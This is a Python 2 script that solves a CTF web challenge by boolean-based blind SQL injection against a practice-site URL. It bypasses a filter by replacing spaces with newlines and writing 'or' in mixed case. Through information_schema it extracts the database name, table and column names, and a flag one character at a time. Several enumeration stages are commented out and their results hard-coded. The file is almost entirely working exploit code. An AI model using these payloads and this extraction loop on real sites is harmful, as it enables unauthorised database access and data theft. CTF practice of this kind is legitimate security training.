import urllib
import urllib2
import string

url = "http://ctf5.shiyanbar.com/web/earnest/index.php"
success_url = "You are in"
cset = string.digits + string.lowercase + '!_{}@~.'

def payload(rawstr):
    newstr=rawstr.replace(' ',chr(0x0a)).replace('or','oR')
    return newstr

def getResult(model):
    param = {'id': payload(model)}
    encode_param = urllib.urlencode(param)
    #print encode_param
    res = urllib2.urlopen(url=url, data=encode_param)
    #print res.read()
    if(success_url in res.read()):
        return True
    else:
        return False

def solve():

    '''
    i = 0
    model = "0' or length(database())>=%d or 'haha'='"
    #print (model % i)
    while getResult(model % (i)) == True:
        i += 1
    database_len = i -1
    '''
    database_len = 18
    print "database's length is " + str(database_len)

    '''
    res = ""
    model = "0' or (select database() regexp '%s$') or 'haha'='"
    for tmpi in range(database_len):
        #print model % (cset[i] + res)
        #print str(tmpi)+"**************************************************"
        for tmpc in cset:
            #print cset[i]
            #print tmpc+res
            if getResult(model % (tmpc + res)) == True:
                res = tmpc + res
                #print res
                break
    '''
    database = "ctf_sql_bool_blind"
    print "database is "+database

    '''
    i = 0
    model = "0' or (select length(group_concat(table_name separator '@')) from information_schema.tables where table_schema=0x6374665f73716c5f626f6f6c5f626c696e64)>=%d or 'haha'='"
    # print (model % i)
    while getResult(model % (i)) == True:
        i += 1
    table_len = i - 1
    '''
    table_len = 10
    print "table length is " + str(table_len)

    '''
    res = ""
    model = "0' or (select (select group_concat(table_name separator '@') from information_schema.tables where table_schema=0x6374665f73716c5f626f6f6c5f626c696e64) regexp '%s$') or 'haha'='"
    for tmpi in range(table_len):
        # print model % (cset[i] + res)
        #print str(tmpi)+"**************************************************"
        for tmpc in cset:
            # print cset[i]
            #print tmpc+res
            if getResult(model % (tmpc + res)) == True:
                res = tmpc + res
                #print res
                break
    '''
    table = "fiag@users"
    print "table is " + table

    '''
    i = 0
    model = "0' or (select length(group_concat(column_name separator '@')) from information_schema.columns where table_name=0x66696167)>=%d or 'haha'='"
    #model = "0' or (select length(group_concat(column_name separator '@')) from information_schema.columns where table_name=0x66696167)>=%d or 'haha'='"
    # print (model % i)
    while getResult(model % (i)) == True:
        i += 1
    column_len = i - 1
    '''
    column_len = 5
    print "column length is " + str(column_len)

    '''
    res = ""
    model = "0' or (select (select group_concat(column_name separator '@') from information_schema.columns where table_name=0x66696167) regexp '%s$') or 'haha'='"
    for tmpi in range(table_len):
        # print model % (cset[i] + res)
        # print str(tmpi)+"**************************************************"
        for tmpc in cset:
            # print cset[i]
            # print tmpc+res
            if getResult(model % (tmpc + res)) == True:
                res = tmpc + res
                # print res
                break
    '''
    column = "fl.4g"
    column = "fl$4g"#guess
    print "column is " + column

    '''
    i = 0
    model = "0' or (select length(fl$4g) from fiag)>=%d or 'haha'='"
    # model = "0' or (select length(group_concat(column_name separator '@')) from information_schema.columns where table_name=0x66696167)>=%d or 'haha'='"
    # print (model % i)
    while getResult(model % (i)) == True:
        i += 1
    record_len = i - 1
    '''
    record_len = 19
    print "record length is " + str(record_len)

    res = ""
    model = "0' or (select (select fl$4g from fiag) regexp '%s$') or 'haha'='"
    for tmpi in range(record_len):
        # print model % (cset[i] + res)
        print str(tmpi)+"**************************************************"
        for tmpc in cset:
            # print cset[i]
            print tmpc+res
            if getResult(model % (tmpc + res)) == True:
                res = tmpc + res
                # print res
                break
    record = "flag{haha~you.win!}"
    record = "flag{haha~you win!}"#guess
    print res


if __name__ == '__main__':
    solve()
    print 'ok'



